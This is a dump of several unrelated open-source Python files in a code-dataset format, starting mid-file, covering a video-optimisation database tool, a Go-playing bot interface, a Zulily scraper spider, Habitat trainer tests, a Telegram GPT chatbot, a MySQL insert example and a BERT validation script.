sqlite3.IntegrityError as e:\n writeActivityLog(conn, \"Ho, foreign key to real \"\n \"folder {} violated! Deleted in the \"\n \"meantime?\".format(thisRealFolderName))\n else:\n writeActivityLog(conn, \"Added file {} to optimize list\"\n .format(os.path.join(thisRealFolderName,\n File)))\n\n writeActivityLog(conn, \"Finished IdentifyNewFiles\")\n\n conn.commit()\n conn.close()\n\n\ndef databaseMigration(conn, oldVersion):\n \"\"\"\n We have identified, the database version is old.\n Start with doing the migration.\n \"\"\"\n\n c = conn.cursor()\n\n if oldVersion < 2:\n try:\n c.execute(\"CREATE TABLE activity_log (\"\n \"log_ts TEXT NOT NULL, \"\n \"activity_text TEXT NOT NULL)\")\n except:\n print(\"Error migrating to repository version 2\")\n sys.exit(1)\n else:\n c.execute(\"UPDATE repository_version SET version_number = 2\")\n\n if oldVersion < 3:\n try:\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET optimized_file_date = SUBSTR(optimized_file_date, 1,\"\n \"19), original_file_date = SUBSTR(original_file_date, 1,\"\n \"19) \"\n \"WHERE length(optimized_file_date) > 19 \"\n \"OR length(original_file_date) > 19\")\n except:\n print(\"Error migrating to repository version 3\")\n sys.exit(1)\n else:\n c.execute(\"UPDATE repository_version SET version_number = 3\")\n\n writeActivityLog(conn, \"Successfully migrated database version from {} \"\n \"to {}\".format(oldVersion,\n current_repository_version))\n\n conn.commit()\n c.close()\n\n\ndef openDatabase(databasename):\n \"\"\"\n Every time we open the database, we check if a migration needs to\n be done on it\n \"\"\"\n\n conn = sqlite3.connect(databasename)\n c = conn.cursor()\n c.execute(\"PRAGMA FOREIGN_KEYS = ON\")\n\n c.execute(\"SELECT version_number FROM repository_version\")\n oldVersion = c.fetchone()[0]\n if oldVersion < current_repository_version:\n # Database version is old, need to migrate to newest version\n databaseMigration(conn, oldVersion)\n\n c.close()\n\n return(conn)\n\n\ndef loadApplicationOption(conn):\n \"\"\"\n For processing, we need some default options stored in table\n \"\"\"\n\n c = conn.cursor()\n\n applicationOption = {}\n\n c.execute(\"select option_key, option_value from application_option\")\n for key, value in c.fetchall():\n applicationOption[key] = value\n\n c.close()\n\n return(applicationOption)\n\n\ndef checkExecution(conn):\n \"\"\"\n We can only have one process at a time, so check if one is already\n running, and end gracefully if.\n Mark as running if possible.\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT started_at, pid FROM current_running\")\n if c.fetchone():\n print(\"Process already running. Exit gracefully!\")\n sys.exit(0)\n\n c.execute(\"INSERT INTO current_running (started_at, pid) VALUES\"\n \"(?, ?)\", [datetime.now(), os.getpid()])\n\n conn.commit()\n c.close()\n\n\ndef loadDefaultOption(conn):\n \"\"\"\n Load default processing options to apply to every folder\n \"\"\"\n\n c = conn.cursor()\n\n defaultOption = {}\n\n c.execute(\"SELECT default_option, default_option_id \"\n \"FROM default_option\")\n for thisOption, id in c.fetchall():\n if thisOption:\n defaultOption[id] = thisOption\n\n c.close()\n\n return(defaultOption)\n\n\ndef loadFolderOption(conn, thisWatchFolderId):\n \"\"\"\n Load folder specific folder option to (probably) overwrite defaults\n \"\"\"\n\n c = conn.cursor()\n\n folderOption = {}\n\n c.execute(\"SELECT folder_option, folder_option_id FROM folder_option \"\n \"WHERE watch_folder_id = ?\", [thisWatchFolderId])\n\n for thisOption, id in c.fetchall():\n folderOption[id] = thisOption\n\n c.close()\n\n return(folderOption)\n\n\ndef writeActivityLog(conn, message):\n \"Write activity log\"\n\n c = conn.cursor()\n\n c.execute(\"INSERT into activity_log (log_ts, activity_text) values (?, ?)\",\n [datetime.now(), message])\n\n conn.commit()\n c.close()\n\n\ndef ProcessFile(conn, thisRealFolderId, thisRealFolderName, thisFileName,\n thisOriginalExtension, Options, applicationOption):\n \"\"\"\n Execute one file here\n \"\"\"\n\n c = conn.cursor()\n\n execOptions = []\n\n logfile = os.path.join(thisRealFolderName, thisFileName + \".log\")\n inpfile = os.path.join(thisRealFolderName, thisFileName + \".\" +\n thisOriginalExtension)\n tgtfile = os.path.join(thisRealFolderName, thisFileName + \".\" +\n applicationOption[\"target_extension\"])\n outfile = os.path.join(thisRealFolderName, \".\" + thisFileName + \".tmp.\" +\n applicationOption[\"target_extension\"])\n\n if os.path.isfile(logfile):\n writeActivityLog(conn, \"Logfile {} already exists!\".format(logfile))\n return\n if os.path.isfile(outfile):\n writeActivityLog(conn, \"Temporary file {} already exists!\"\n .format(outfile))\n return\n if os.path.isfile(tgtfile) and inpfile != tgtfile:\n writeActivityLog(conn, \"Target file {} already exists!\"\n .format(tgtfile))\n return\n\n if os.path.isfile(inpfile):\n for key in sorted(Options):\n if Options[key] == \"INPUTFILE\":\n execOptions.append(inpfile)\n elif Options[key] == \"OUTPUTFILE\":\n execOptions.append(outfile)\n else:\n execOptions.append(Options[key])\n\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET optimization_started_at = ?, \"\n \" optimized_extension = ?, \"\n \" file_status = ? \"\n \"WHERE real_folder_id = ? AND file_name = ?\",\n [datetime.now(), applicationOption[\"target_extension\"], 2,\n thisRealFolderId, thisFileName])\n writeActivityLog(conn, \"Start processing file {} in folder {}\"\n .format(thisFileName, thisRealFolderName))\n\n start = time.time()\n\n try:\n log = open(logfile, 'w')\n except IOError:\n writeActivityLog(conn, \"Error, cannot create logfile {}\"\n .format(logfile))\n else:\n if subprocess.call(execOptions, stdout=log,\n stderr=subprocess.STDOUT):\n runtime = time.time() - start\n log.close()\n writeActivityLog(conn, \"Error processing file {}\"\n .format(inpfile))\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET file_status = ?, runtime_seconds = ? \"\n \"WHERE real_folder_id = ? AND file_name = ?\",\n [99, runtime, thisRealFolderId, thisFileName])\n else:\n runtime = time.time() - start\n log.close()\n fileSize = os.path.getsize(outfile)\n fileDate = datetime.fromtimestamp(os.path.getmtime(outfile)).strftime(\"%Y-%m-%d %H:%M:%S\")\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET file_status = ?, runtime_seconds = ?, \"\n \" optimized_size = ?, optimized_file_date = ? \"\n \"WHERE real_folder_id = ? AND file_name = ?\",\n [1, runtime, fileSize, fileDate, thisRealFolderId,\n thisFileName])\n writeActivityLog(conn, \"Finished processing file {}\"\n .format(inpfile))\n\n try:\n os.remove(inpfile)\n except:\n writeActivityLog(conn, \"Error, cannot remove ori file \"\n \"{}!\".format(inpfile))\n else:\n try:\n os.rename(outfile, tgtfile)\n except:\n writeActivityLog(conn, \"Cannot rename file {} in \"\n \"folder {}\"\n .format(File, thisRealFolderName))\n else:\n try:\n os.remove(logfile)\n except:\n writeActivityLog(conn, \"Error, cannot remove \"\n \"logfile {}!\"\n .format(logfile))\n\n conn.commit()\n\n else:\n writeActivityLog(conn, \"File not found: {}.{}!\"\n .format(os.path.join(thisRealFolderName,\n thisFileName), thisOriginalExtension))\n\n c.close()\n\n\ndef processRealFolder(conn, thisWatchFolderId, thisRealFolderId,\n thisRealFolderName, applicationOption):\n \"\"\"\n Running within one real folder and process all files\n \"\"\"\n\n c = conn.cursor()\n\n # load default options\n Options = loadDefaultOption(conn)\n\n # need to merge default options with folder Options\n for key, value in loadFolderOption(conn, thisWatchFolderId).items():\n if value:\n Options[key] = value\n elif key in Options:\n del Options[key]\n\n c.execute(\"SELECT file_name, original_extension \"\n \"FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? AND file_status = ? \"\n \"ORDER BY file_name\", [thisRealFolderId, 0])\n\n for thisFileName, thisOriginalExtension in c.fetchall():\n ProcessFile(conn, thisRealFolderId, thisRealFolderName, thisFileName,\n thisOriginalExtension, Options, applicationOption)\n\n conn.commit()\n c.close()\n\n\ndef Cleanup(databasename):\n \"\"\"\n Clean all real folders\n \"\"\"\n\n conn = openDatabase(databasename)\n c = conn.cursor()\n c.execute(\"PRAGMA FOREIGN_KEYS = ON\")\n\n writeActivityLog(conn, \"Started Cleanup\")\n\n conn.commit()\n\n cleanedStatus = 0\n deletedStatus = 0\n\n c.execute(\"SELECT fof.real_folder_id, rf.real_folder_name, fof.file_name, \"\n \"fof.original_extension, \"\n \"fof.original_file_date, fof.original_size \"\n \"FROM folder_optimize_file as fof \"\n \"JOIN real_folder as rf \"\n \"ON rf.real_folder_id = fof.real_folder_id \"\n \"WHERE fof.file_status = 0\")\n\n for (thisRealFolderId, thisRealFolderName, thisFileName,\n thisOriginalExtension, thisOriginalFileDate,\n thisOriginalSize) in c.fetchall():\n\n check_file = os.path.join(thisRealFolderName, thisFileName + \".\" +\n thisOriginalExtension)\n\n if not os.path.exists(check_file):\n deletedStatus += 1\n print(\"{}|{}|{}\".format(check_file, thisOriginalSize, thisOriginalFileDate))\n c.execute(\"DELETE FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisRealFolderId, thisFileName])\n else:\n fileSize = os.path.getsize(check_file)\n fileDate = datetime.fromtimestamp(os.path.getmtime(check_file)).strftime(\"%Y-%m-%d %H:%M:%S\")\n if (fileSize != thisOriginalSize or\n fileDate != thisOriginalFileDate):\n cleanedStatus += 1\n print(\"{}|{}|{}|{}|{}\".format(check_file, fileSize, thisOriginalSize, fileDate, thisOriginalFileDate))\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET original_extension = ?, original_size = ?, \"\n \"original_file_date = ? \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisOriginalExtension,\n fileSize, fileDate, thisRealFolderId,\n thisFileName])\n\n if cleanedStatus > 0 or deletedStatus > 0:\n writeActivityLog(conn, \"Cleanup updated {} and deleted {} from \"\n \"unprocessed files\"\n .format(cleanedStatus, deletedStatus))\n\n conn.commit()\n\n cleanedStatus = 0\n deletedStatus = 0\n\n c.execute(\"SELECT fof.real_folder_id, rf.real_folder_name, fof.file_name, \"\n \"fof.original_extension, fof.optimized_extension, \"\n \"fof.optimized_file_date, fof.optimized_size \"\n \"FROM folder_optimize_file as fof \"\n \"JOIN real_folder as rf \"\n \"ON rf.real_folder_id = fof.real_folder_id \"\n \"WHERE fof.file_status = 1\")\n\n for (thisRealFolderId, thisRealFolderName, thisFileName,\n thisOriginalExtension, thisOptimizedExtension, thisOptimizedFileDate,\n thisOptimizedSize) in c.fetchall():\n\n check_file = os.path.join(thisRealFolderName, thisFileName + \".\" +\n thisOptimizedExtension)\n\n if not os.path.exists(check_file):\n deletedStatus += 1\n c.execute(\"DELETE FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisRealFolderId, thisFileName])\n else:\n fileSize = os.path.getsize(check_file)\n fileDate = datetime.fromtimestamp(os.path.getmtime(check_file)).strftime(\"%Y-%m-%d %H:%M:%S\")\n if (abs(thisOptimizedSize - fileSize) * 100 / thisOptimizedSize > 10):\n cleanedStatus += 1\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET original_extension = ?, original_size = ?, \"\n \"original_file_date = ?, file_status = ?, \"\n \"optimized_size = null, optimized_extension = null, \"\n \"optimized_file_date = null, \"\n \"optimization_started_at = null, \"\n \"runtime_seconds = null \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisOptimizedExtension,\n fileSize, fileDate, 0, thisRealFolderId,\n thisFileName])\n\n if cleanedStatus > 0 or deletedStatus > 0:\n writeActivityLog(conn, \"Cleanup updated {} and deleted {} from already \"\n \"processed files\"\n .format(cleanedStatus, deletedStatus))\n\n conn.commit()\n\n cleanedStatus = 0\n deletedStatus = 0\n\n c.execute(\"SELECT fof.real_folder_id, rf.real_folder_name, fof.file_name, \"\n \"fof.original_extension \"\n \"FROM folder_optimize_file as fof \"\n \"JOIN real_folder as rf \"\n \"ON rf.real_folder_id = fof.real_folder_id \"\n \"WHERE file_status = 99\")\n\n for (thisRealFolderId, thisRealFolderName, thisFileName,\n thisOriginalExtension) in c.fetchall():\n\n check_file1 = os.path.join(thisRealFolderName, thisFileName) + \".log\"\n check_file2 = os.path.join(thisRealFolderName, thisFileName + \".\" +\n thisOriginalExtension)\n\n if not os.path.exists(check_file1):\n cleanedStatus += 1\n c.execute(\"UPDATE folder_optimize_file \"\n \"SET original_extension = ?, original_size = ?, \"\n \"original_file_date = ?, file_status = ?, \"\n \"optimized_size = null, optimized_extension = null, \"\n \"optimized_file_date = null, \"\n \"optimization_started_at = null, \"\n \"runtime_seconds = null \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisOriginalExtension,\n fileSize, fileDate, 0, thisRealFolderId,\n thisFileName])\n elif not os.path.exists(check_file2):\n deletedStatus += 1\n c.execute(\"DELETE FROM folder_optimize_file \"\n \"WHERE real_folder_id = ? \"\n \"AND file_name = ?\", [thisRealFolderId, thisFileName])\n\n if cleanedStatus > 0 or deletedStatus > 0:\n writeActivityLog(conn, \"Cleanup updated {} and deleted {} from \"\n \"previously failed files\"\n .format(cleanedStatus, deletedStatus))\n\n conn.commit()\n\n writeActivityLog(conn, \"Finished Cleanup\")\n\n conn.commit()\n conn.close()\n\n\ndef processWatchFolder(conn, thisWatchFolderId, applicationOption):\n \"\"\"\n Now processing one watch folder. Read in folder specific options.\n Here, we can have several real folders for one watch folder.\n \"\"\"\n\n c = conn.cursor()\n\n c.execute(\"SELECT real_folder_id, real_folder_name \"\n \"FROM real_folder \"\n \"WHERE watch_folder_id = ? \"\n \"ORDER BY real_folder_name\",\n [thisWatchFolderId])\n\n for thisRealFolderId, thisRealFolderName in c.fetchall():\n processRealFolder(conn, thisWatchFolderId, thisRealFolderId,\n thisRealFolderName, applicationOption)\n\n c.close()\n\n\ndef Execution(databasename):\n \"\"\"\n Reading configuration database and process data in watch folders\n \"\"\"\n\n conn = openDatabase(databasename)\n\n # check of process is already running and exit there if\n checkExecution(conn)\n\n # read application options\n applicationOption = loadApplicationOption(conn)\n\n c = conn.cursor()\n\n if (\"target_extension\" not in applicationOption and\n \"target_extension\" in default_application_options):\n applicationOption[\"target_extension\"] = default_application_options[\n \"target_extension\"]\n elif (\"target_extension\" not in applicationOption and\n \"target_extension\" not in default_application_options):\n writeActivityLog(conn, \"Error, cannot go without \\\"target_extension\\\"\"\n \" option!\")\n sys.exit(1)\n\n c.execute(\"SELECT watch_folder_id FROM watch_folder \"\n \"ORDER BY watch_folder_name\")\n for thisWatchFolderId in c.fetchall():\n if thisWatchFolderId[0]:\n processWatchFolder(conn, thisWatchFolderId[0], applicationOption)\n\n c.execute(\"DELETE FROM current_running\")\n\n conn.commit()\n conn.close()\n\n\nif __name__ == '__main__':\n if not os.path.exists(databasename):\n InitializeDatabase(databasename)\n\n if args.command in (\"execute\", \"exec\", \"e\", \"run\", \"r\"):\n Cleanup(databasename)\n IdentifyNewFiles(databasename)\n Execution(databasename)\n elif args.command in (\"configure\", \"config\", \"conf\", \"c\"):\n Configuration(databasename)\n IdentifyNewFiles(databasename)\n elif args.command in (\"statistics\", \"stats\", \"stat\", \"s\"):\n IdentifyNewFiles(databasename)\n elif args.command in (\"cleanup\", \"clean\", \"u\"):\n Cleanup(databasename)\n IdentifyNewFiles(databasename)\n else:\n IdentifyNewFiles(databasename)\n","repo_name":"ChFarrelMK/optimizevideo","sub_path":"optimize_mkv.py","file_name":"optimize_mkv.py","file_ext":"py","file_size_in_byte":50915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42096190883","text":"# -*- coding: utf-8 -*-\nimport argparse\nimport argh\nimport sys\nimport gtp as gtp_lib\n\nfrom policy import PolicyNetwork\nfrom strategies import RandomPlayer, PolicyNetworkBestMovePlayer, PolicyNetworkRandomMovePlayer, MCTS\nfrom load_data_sets import DataSet, parse_data_sets\n\nstring = 'abcdefghijklmnopqrstuvwxyz'\nread_file = \"E:\\Go\\savedmodel\"\ndata_file = \"data.txt\"\n\n\ndef AI(msg):\n\tglobal read_file\n\n\t# 提取信息\n\tx = msg['msg'][2].upper()\n\ty = string.index(msg['msg'][3])\n\tcolor = ''\n\tif msg['msg'][0] == 'B':\n\t\tcolor = 'W'\n\telse:\n\t\tcolor = 'B'\n\n # 初始化策略网络\n\tn = PolicyNetwork(use_cpu = True)\n\tinstance = PolicyNetworkBestMovePlayer(n, read_file)\n\tgtp_engine = gtp_lib.Engine(instance)\n\t# sys.stderr.write(\"GTP Enginene ready\\n\")\n\tAI_cmd = parse_AI_instruction(color)\n\n\t# 查看是否已经开始下棋并记录\n\tif os.path.exists(data_file):\n\t\trfile = open(data_file, 'r')\n\t\tcmd_list = rfile.readlines()\n\t\tfor cmd in cmd_list:\n\t\t\tcmd = cmd.strip('\\n ')\n\t\t\tif cmd == '':\n\t\t\t\tcontinue\n\t\t\tgtp_engine.send(cmd)\n\t\t\t# sys.stdout.write(cmd)\n\t\t\t# sys.stdout.flush()\n\t\trfile.close()\n\n\t# 解析对方下棋指令,写进data\n\twfile = open(data_file, 'a')\n\tplayer_cmd = parse_player_input(msg['msg'][0], x, y)\n\twfile.write(player_cmd + '\\n')\n\tgtp_engine.send(player_cmd)\n\t# sys.stdout.write(player_cmd + '\\n')\n\t# sys.stdout.flush()\n\n\tgtp_reply = gtp_engine.send(AI_cmd)\n\tgtp_cmd = parse_AI_input(color, gtp_reply)\n\twfile.write(gtp_cmd)\n\twfile.close()\n\t# sys.stdout.write(gtp_reply)\n\t# sys.stdout.flush()\n\n\tresponse = color + '[' + gtp_reply[2].lower() + string[int(gtp_reply[3:])] + ']'\n\t# sys.stdout.write(response)\n\t# sys.stdout.flush()\n\n\treturn {'game_id': msg['game_id'], 'msg': response}\n\n\ndef parse_AI_instruction(color):\n\treturn \"genmove \" + color.upper()\n\ndef parse_AI_input(color, gtp_reply):\n\treturn \"play \" + color.upper() + ' ' + gtp_reply[2:]\n\ndef parse_player_input(color, x, y):\n\treturn \"play \" + color.upper() + ' ' + str(x).upper() + str(y)\t\n\t","repo_name":"LinDong123a/2017-2018-computing-thinking","sub_path":"mugo/interface_to_website.py","file_name":"interface_to_website.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41788274715","text":"import re\nimport urllib\nimport json\nimport urlparse\nfrom product_ranking.items import SiteProductItem\nfrom .zulily import ZulilyProductsSpider\nfrom scrapy import Request\nfrom scrapy.log import DEBUG, ERROR, INFO, WARNING\n\n\nclass ZulilyShelfPagesSpider(ZulilyProductsSpider):\n name = 'zulily_shelf_pages_products'\n allowed_domains = [\"zulily.com\", \"www.res-x.com\"]\n LOG_IN_URL = \"https://www.zulily.com/auth\"\n BASE_URL = \"http://www.zulily.com/\"\n\n product_filter = []\n\n def __init__(self, *args, **kwargs):\n super(ZulilyShelfPagesSpider, self).__init__(*args, **kwargs)\n self.product_url = kwargs['product_url']\n\n self.current_page = 1\n #settings.overrides['USE_PROXIES'] = True\n\n def start_requests(self):\n #Category\n event_id = re.findall(r\"/e/.*-((\\d)+)\\.html\", self.product_url)\n if event_id:\n url = self.BASE_URL + \"event/\" + event_id[0][0]\n yield Request(\n url,\n meta={'remaining':self.quantity, \"search_term\":''},\n headers=self._get_antiban_headers()\n )\n else:\n #Search\n parsed = urlparse.urlparse(self.product_url)\n\n if urlparse.parse_qs(parsed.query)['fromSearch']:\n search_term = urlparse.parse_qs(parsed.query)['searchTerm']\n url = self.BASE_URL + \"mainpanel/search_carousel/?q=\" + search_term\n yield Request(\n url,\n meta={'remaining': self.quantity, \"search_term\": ''},\n headers=self._get_antiban_headers()\n )\n\n @staticmethod\n def _get_antiban_headers():\n return {\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0',\n 'Connection': 'keep-alive',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Accept': '*/*',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Accept-Encoding': 'gzip, deflate, sdch'\n }\n @staticmethod\n def valid_url(url):\n if not re.findall(r\"http(s){0,1}\\:\\/\\/\", url):\n url = \"http://\" + url\n return url\n\n def _scrape_product_links(self, response):\n urls = response.xpath(\n \"//ul[contains(@class,'products-grid')]/li//a[contains(@class, 'product-image')]/@href\").extract()\n urls = [urlparse.urljoin(response.url, x) if x.startswith('/') else x\n for x in urls]\n\n if not urls:\n self.log(\"Found no product links.\", DEBUG)\n\n # parse shelf category\n shelf_categories = response.xpath(\n '//div[@class=\"card_container\"]//div[contains(@class, \"no_gutter\")]//a/@href').extract()\n shelf_categories = [category.strip() for category in shelf_categories]\n shelf_categories = filter(None, shelf_categories)\n try:\n shelf_name = response.xpath('//meta[@name=\"og:title\"]/@content').extract()[0].strip()\n except IndexError:\n pass\n for url in urls:\n item = SiteProductItem()\n if shelf_categories:\n item['shelf_name'] = shelf_name\n item['shelf_path'] = shelf_categories[1:]\n yield url, item\n\n def page_nums(self, list):\n num_list = [int(n) for n in list if n.isdigit()]\n if len(num_list) > 0:\n return max(num_list)\n else:\n return 1\n\n def _scrape_next_results_page_link(self, response):\n num_pages = self.page_nums(response.xpath(\"//div[@class='pagination_container']/nav/ul/li/a/text()\").extract())\n if self.current_page >= num_pages:\n return\n self.current_page += 1\n\n next_page = response.xpath(\"//div[@class='pagination_container']/nav/ul/li/a[@class='next_page_on']\").extract()\n if next_page:\n return urlparse.urljoin(response.url, next_page[0])\n else:\n return None\n\n def _scrape_total_matches(self, response):\n total = response.xpath(\"//div[@id='totalProducts']/text()\").extract()\n if total and total[0]:\n total = total[0].replace(',', '').replace('.', '').strip()\n return int(total)\n else:\n self.log(\"Failed to parse total number of matches.\", level=WARNING)\n","repo_name":"aprosdev/ecom-predictor","sub_path":"product-ranking/product_ranking/spiders/zulily_shelf_pages.py","file_name":"zulily_shelf_pages.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24038939110","text":"import itertools\nfrom glob import glob\n\nimport pytest\n\ntry:\n from habitat_baselines.run import run_exp\n from habitat_baselines.common.base_trainer import BaseRLTrainer\n from habitat_baselines.config.default import get_config\n\n baseline_installed = True\nexcept ImportError:\n baseline_installed = False\n\n\n@pytest.mark.skipif(\n not baseline_installed, reason=\"baseline sub-module not installed\"\n)\n@pytest.mark.parametrize(\n \"test_cfg_path,mode,gpu2gpu\",\n itertools.product(\n glob(\"habitat_baselines/config/test/*\"),\n [\"train\", \"eval\"],\n [True, False],\n ),\n)\ndef test_trainers(test_cfg_path, mode, gpu2gpu):\n if gpu2gpu:\n try:\n import habitat_sim\n except ImportError:\n pytest.skip(\"GPU-GPU requires Habitat-Sim\")\n\n if not habitat_sim.cuda_enabled:\n pytest.skip(\"GPU-GPU requires CUDA\")\n\n run_exp(\n test_cfg_path,\n mode,\n [\"TASK_CONFIG.SIMULATOR.HABITAT_SIM_V0.GPU_GPU\", str(gpu2gpu)],\n )\n\n\n@pytest.mark.skipif(\n not baseline_installed, reason=\"baseline sub-module not installed\"\n)\ndef test_eval_config():\n ckpt_opts = [\"VIDEO_OPTION\", \"[]\"]\n eval_opts = [\"VIDEO_OPTION\", \"['disk']\"]\n\n ckpt_cfg = get_config(None, ckpt_opts)\n assert ckpt_cfg.VIDEO_OPTION == []\n assert ckpt_cfg.CMD_TRAILING_OPTS == [\"VIDEO_OPTION\", \"[]\"]\n\n eval_cfg = get_config(None, eval_opts)\n assert eval_cfg.VIDEO_OPTION == [\"disk\"]\n assert eval_cfg.CMD_TRAILING_OPTS == [\"VIDEO_OPTION\", \"['disk']\"]\n\n trainer = BaseRLTrainer(get_config())\n assert trainer.config.VIDEO_OPTION == [\"disk\", \"tensorboard\"]\n returned_config = trainer._setup_eval_config(checkpoint_config=ckpt_cfg)\n assert returned_config.VIDEO_OPTION == []\n\n trainer = BaseRLTrainer(eval_cfg)\n returned_config = trainer._setup_eval_config(ckpt_cfg)\n assert returned_config.VIDEO_OPTION == [\"disk\"]\n","repo_name":"danmou/habitat-api","sub_path":"test/test_baseline_trainers.py","file_name":"test_baseline_trainers.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"8611869807","text":"from telegram.ext import Updater, MessageHandler, Filters\nimport telegram\nimport openai\nfrom moviepy.editor import AudioFileClip\n\nopenai.api_key = \"<YOUR_OPENAI_API_KEY>\"\nTELEGRAM_API_TOKEN = \"<YOUR_TELEGRAM_BOT_TOKEN>\"\n\nmessages = [{\"role\": \"system\", \"content\": \"You are SuperTelegramGPT, a helpful telegram bot who is always concise and polite in its answers.\"}]\n\ndef text_message(update, context):\n messages.append({\"role\": \"user\", \"content\": update.message.text})\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=messages\n )\n ChatGPT_reply = response[\"choices\"][0][\"message\"][\"content\"]\n update.message.reply_text(text=f\"*[Bot]:* {ChatGPT_reply}\", parse_mode=telegram.ParseMode.MARKDOWN)\n messages.append({\"role\": \"assistant\", \"content\": ChatGPT_reply})\n\ndef voice_message(update, context):\n update.message.reply_text(\"I've received a voice message! Please give me a second to respond :)\")\n voice_file = context.bot.getFile(update.message.voice.file_id)\n voice_file.download(\"voice_message.ogg\")\n audio_clip = AudioFileClip(\"voice_message.ogg\")\n audio_clip.write_audiofile(\"voice_message.mp3\")\n audio_file = open(\"voice_message.mp3\", \"rb\")\n transcript = openai.Audio.transcribe(\"whisper-1\", audio_file).text\n update.message.reply_text(text=f\"*[You]:* _{transcript}_\", parse_mode=telegram.ParseMode.MARKDOWN)\n messages.append({\"role\": \"user\", \"content\": transcript})\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=messages\n )\n ChatGPT_reply = response[\"choices\"][0][\"message\"][\"content\"]\n update.message.reply_text(text=f\"*[Bot]:* {ChatGPT_reply}\", parse_mode=telegram.ParseMode.MARKDOWN)\n messages.append({\"role\": \"assistant\", \"content\": ChatGPT_reply})\n\n\nupdater = Updater(TELEGRAM_API_TOKEN, use_context=True)\ndispatcher = updater.dispatcher\ndispatcher.add_handler(MessageHandler(Filters.text & (~Filters.command), text_message))\ndispatcher.add_handler(MessageHandler(Filters.voice, voice_message))\nupdater.start_polling()\nupdater.idle()","repo_name":"AIAdvantage/chatgpt-telegram-voice-chatbot","sub_path":"03_voice_chatbot.py","file_name":"03_voice_chatbot.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"4330274753","text":"import mysql.connector\n\nfrom mysql.connector import Error\n\n\ndef connect_insert():\n \"\"\"function to connect and insert a row in a database\"\"\"\n\n # create a variable for the connector object\n conn = None\n\n try:\n conn = mysql.connector.connect(\n host='localhost',\n database='firsttable',\n user='Ibukun',\n password='oluwaibukun')\n print('Connecting to database')\n if conn.is_connected:\n print('connected to the database')\n db_cursor = conn.cursor()\n\n # create a variable to contain the sql query to be executed\n sql = \"INSERT INTO Human (name, color, gender, bloodgroup, age) VALUES (%s, %s, %s, %s, %s)\"\n\n # craete a list variable to contain all the values we want to insert into the database\n val = [\n # ('Hannah', 'White', 'Female', 'B-', 25),\n ('1009', 'Michael', 'brown', 'Male', 45),\n ('1010', 'Sandy', 'Black', 'Male', 56),\n ('1011', 'Green', 'Yellow', 'Male', 67),\n ('1012', 'Richard', 'Black', 'Wale', 60)\n ]\n\n # esecute the query using the executemany function\n db_cursor.executemany(sql, val)\n\n # commit to the database\n conn.commit()\n\n # print a success message\n print(db_cursor.rowcount, \"rows was inserted.\")\n\n # close the cursor\n db_cursor.close()\n\n except Error as e:\n print('connection failed due to the following:', e)\n finally:\n if conn is not None and conn.is_connected():\n conn.close\n print('Disconnected from database')\n\n\n# call the function we just created\nconnect_insert()\n","repo_name":"Ibukun-Badmus/python_user","sub_path":"connect_insert.py","file_name":"connect_insert.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4681774493","text":"from transformers import BertTokenizer, BertForSequenceClassification\nimport torch\nimport os\nfrom Task_1.Evaluation_.eval_1 import task_1_eval_main\n\nclass validation(object):\n def __init__(self,model_name,tokenizer,device):\n self.fname=[]\n self.model=self.get_model(model_name).to(device)\n self.tokenizer=tokenizer\n self.device=device\n\n def append_dir(self,dir_name):\n for i in os.listdir(dir_name):\n self.fname.append(os.path.join(dir_name,i))\n\n def append_fname(self,fname):\n self.fname.append(fname)\n\n def get_model(self,model_name):\n print(\"loading model ..........\")\n return torch.load(model_name)\n\n def generate(self,save_dir=os.getcwd(),hasTarget=False):\n #根据添加的文件列表生成对应的预测\n #hasTarget 表示文件是否是一个句子后面一个标签的形式\n #hasTarget=True ,输入类似dev里面的文件\n #hasTarget=False,输入类似test里面的文件\n print(\"genetating files ..........\")\n self.model.eval()\n for file_name in self.fname:\n print(file_name,\"are progressing\")\n with open(file_name,\"r\",encoding=\"utf-8\") as f:\n context=f.readlines()\n targets=[]\n sources=[]\n #每行进行预测\n for line in context:\n if hasTarget:\n if line[0].isdigit():\n n1=line.find('.')\n else:\n n1=1\n n2=line.find('\\t')\n src=line[n1+1:n2-1]\n source=line[:n2]\n else:\n if line[0].isdigit():\n n1=line.find('.')\n else:\n n1=1\n src=line[n1:-1]\n source=line\n sources.append(source)\n source=torch.tensor(self.tokenizer.encode(src, add_special_tokens=True)).unsqueeze(0)\n logits=self.model(source.to(self.device))[0]\n target=torch.argmax(logits)\n targets.append(str(target.item()))\n #写入新文件\n fname=os.path.split(file_name)[-1]\n new_fname=os.path.join(save_dir,fname.split('.')[0]+\"_pred.deft\")\n with open(new_fname,\"w\") as f:\n for i,source in enumerate(sources):\n f.write(source.strip()+\"\\t\"+targets[i]+\"\\n\")\n 